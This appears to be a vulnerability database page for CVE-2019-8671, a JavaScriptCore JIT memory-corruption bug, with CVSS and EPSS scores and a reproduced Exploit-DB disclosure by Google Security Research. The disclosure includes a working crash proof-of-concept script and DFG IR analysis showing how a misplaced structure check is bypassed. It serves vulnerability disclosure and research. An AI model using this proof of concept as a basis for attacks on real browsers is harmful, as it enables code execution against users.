CVE-2019-8671

Score / Severity

8.8

High

CVE Descriptions

Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 12.4, macOS Mojave 10.14.6, tvOS 12.4, Safari 12.1.2, iTunes for Windows 12.9.6, iCloud for Windows 7.13, iCloud for Windows 10.6. Processing maliciously crafted web content may lead to arbitrary code execution.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-787	Out-of-bounds Write The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	8.8	HIGH	CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. Required Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	nvd@nist.gov
V2	6.8		AV:N/AC:M/Au:N/C:P/I:P/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2021-04-18	1.66%	–	–	–	–
2021-09-05	–	1.66%	–	–	–
2021-11-07	–	1.66%	–	–	–
2022-01-09	–	1.66%	–	–	–
2022-02-06	–	–	49.16%	–	–
2022-04-03	–	–	15.95%	–	–
2023-03-12	–	–	–	91.91%	–
2023-07-23	–	–	–	91.91%	–
2023-08-20	–	–	–	91.52%	–
2023-08-27	–	–	–	91.52%	–
2023-09-10	–	–	–	91.64%	–
2023-10-08	–	–	–	91.73%	–
2023-10-22	–	–	–	92.54%	–
2023-11-26	–	–	–	92.66%	–
2024-06-02	–	–	–	92.66%	–
2024-07-14	–	–	–	90.25%	–
2024-08-04	–	–	–	90.71%	–
2024-08-25	–	–	–	88.97%	–
2024-09-08	–	–	–	90.08%	–
2024-12-15	–	–	–	91.12%	–
2024-12-22	–	–	–	69.54%	–
2024-12-29	–	–	–	65%	–
2025-02-09	–	–	–	58.72%	–
2025-01-19	–	–	–	65%	–
2025-02-16	–	–	–	58.72%	–
2025-03-18	–	–	–	–	28.04%
2025-03-18	–	–	–	–	28.04,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2021-04-18	–
2021-09-05	74%
2021-11-07	75%
2022-01-09	34%
2022-02-06	98%
2022-04-03	96%
2023-03-12	98%
2023-07-23	99%
2023-08-20	98%
2023-08-27	99%
2023-09-10	99%
2023-10-08	99%
2023-10-22	99%
2023-11-26	99%
2024-06-02	99%
2024-07-14	99%
2024-08-04	99%
2024-08-25	99%
2024-09-08	99%
2024-12-15	99%
2024-12-22	98%
2024-12-29	98%
2025-02-09	98%
2025-01-19	98%
2025-02-16	98%
2025-03-18	96%
2025-03-18	96%

Exploit information

Exploit Database EDB-ID : 47190

Publication date : 2019-07-29 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

While fuzzing JavaScriptCore, I encountered the following (modified and commented) JavaScript program which crashes jsc from current HEAD and release (/System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc): function v2(trigger) { // Force JIT compilation. for (let v7 = 0; v7 < 1000000; v7++) { } if (!trigger) { // Will synthesize .length, .callee, and Symbol.iterator. // See ScopedArguments::overrideThings [1] arguments.length = 1; } for (let v11 = 0; v11 < 10; v11++) { // The for-of loop (really the inlined array iterator) will fetch the // .length property after a StructureCheck. However, the property fetch // will be hoisted in front of the outer loop by LICM but the // StructureCheck won't. Then, in the final invocation it will crash // because .length hasn't been synthezised yet (and thus the butterfly // is nullptr). for (const v14 of arguments) { const v18 = {a:1337}; // The with statement here probably prevents escape analysis / // object allocation elimination from moving v18 into the stack, // thus forcing DFG to actually allocate v18. Then, LICM sees a // write to structure IDs (from the object allocation) and thus // cannot hoist the structure check (reading a structure ID) in // front of the loop. with (v18) { } } } } for (let v23 = 0; v23 < 100; v23++) { v2(false); } print("Triggering crash"); v2(true); Here is what appears to be happening: When v2 is optimized by the FTL JIT, it will inline the ArrayIterator.next function for the for-of loop and thus produce the following DFG IR (of which many details were omitted for readability): Block #8 (Before outer loop) ... Block #10 (bc#180): (Outer loop) 104:<!0:-> CheckStructure(Check:Cell:@97, MustGen, [%Cp:Arguments], R:JSCell_structureID, Exits, bc#201, ExitValid) 105:< 2:-> GetButterfly(Cell:@97, Storage|UseAsOther, Other, R:JSObject_butterfly, Exits, bc#201, ExitValid) Block #12 (bc#464 --> next#<no-hash>:<0x10a8a08c0> bc#43 --> arrayIteratorValueNext#<no-hash>:<0x10a8a0a00> bc#29): (Inner loop header) 378:< 4:-> GetByOffset(Check:Untyped:@105, KnownCell:@97, JS|PureInt|UseAsInt, BoolInt32, id2{length}, 100, R:NamedProperties(2), Exits, bc#34, ExitValid) predicting BoolInt32 Block #17 (bc#487): (Inner loop body) 267:< 8:-> NewObject(JS|UseAsOther, Final, %B8:Object, R:HeapObjectCount, W:HeapObjectCount, Exits, bc#274, ExitValid) 273:<!0:-> PutByOffset(KnownCell:@267, KnownCell:@267, Check:Untyped:@270, MustGen, id7{a}, 0, W:NamedProperties(7), ClobbersExit, bc#278, ExitValid) 274:<!0:-> PutStructure(KnownCell:@267, MustGen, %B8:Object -> %EQ:Object, ID:45419, R:JSObject_butterfly, W:JSCell_indexingType,JSCell_structureID,JSCell_typeInfoFlags,JSCell_typeInfoType, ClobbersExit, bc#278, ExitInvalid) Eventually, the loop-invariant code motion optimization runs [2], changing graph to the following: Block #8 (Before outer loop) ... 105:< 2:-> GetButterfly(Cell:@97, Storage|UseAsOther, Other, R:JSObject_butterfly, Exits, bc#201, ExitValid) 378:< 4:-> GetByOffset(Check:Untyped:@105, KnownCell:@97, JS|PureInt|UseAsInt, BoolInt32, id2{length}, 100, R:NamedProperties(2), Exits, bc#34, ExitValid) predicting BoolInt32 Block #10 (bc#180): (Outer loop) 104:<!0:-> CheckStructure(Check:Cell:@97, MustGen, [%Cp:Arguments], R:JSCell_structureID, Exits, bc#201, ExitValid) Block #12 (bc#464 --> next#<no-hash>:<0x10a8a08c0> bc#43 --> arrayIteratorValueNext#<no-hash>:<0x10a8a0a00> bc#29): (Inner loop header) Block #17 (bc#487): (Inner loop body) 267:< 8:-> NewObject(JS|UseAsOther, Final, %B8:Object, R:HeapObjectCount, W:HeapObjectCount, Exits, bc#274, ExitValid) 273:<!0:-> PutByOffset(KnownCell:@267, KnownCell:@267, Check:Untyped:@270, MustGen, id7{a}, 0, W:NamedProperties(7), ClobbersExit, bc#278, ExitValid) 274:<!0:-> PutStructure(KnownCell:@267, MustGen, %B8:Object -> %EQ:Object, ID:45419, R:JSObject_butterfly, W:JSCell_indexingType,JSCell_structureID,JSCell_typeInfoFlags,JSCell_typeInfoType, ClobbersExit, bc#278, ExitInvalid) Here, the GetButterfly and GetByOffset operations, responsible for loading the .length property, were moved in front of the StructureCheck which is supposed to ensure that .length can be loaded in this way. This is clearly unsafe and will lead to a crash in the final invocation of the function when .length is not "synthesized" and thus the butterfly is nullptr. To understand why this happens it is necessary to look at the requirements for hoisting operations [3]. One of them is that "The node doesn't read anything that the loop writes.". In this case the CheckStructure operation reads the structure ID from the object ("R:JSCell_structureID" in the IR above) and the PutStructure writes a structure ID ("W:JSCell_indexingType,JSCell_structureID,JSCell_typeInfoFlags,JSCell_typeInfoType") as such the check cannot be hoisted because DFG cannot prove that the read value doesn't change in the loop body (note that here the compiler acts conservatively as it could, in this specific instance, determine that the structure ID being written to inside the loop is definitely not the one being read. It doesn't do so and instead only tracks abstract "heap locations" like the JSCell_structureID). However, as no operation in the loop bodies writes to either the JSObject_butterfly or the NamedProperties heap location (i.e. no Butterfly pointer or NamedProperty slot is ever written to inside the loop body), LICM incorrectly determined that the GetButterfly and GetByOffset operations could safely be hoisted in front of the loop body. See also https://bugs.chromium.org/p/project-zero/issues/detail?id=1775 and https://bugs.chromium.org/p/project-zero/issues/detail?id=1789 for more information about the LICM optimization. I suspect that this issue is more general (not limited to just `argument` objects) and allows bypassing of various StructureChecks in the JIT, thus likely being exploitable in many ways. However, I haven't confirmed that.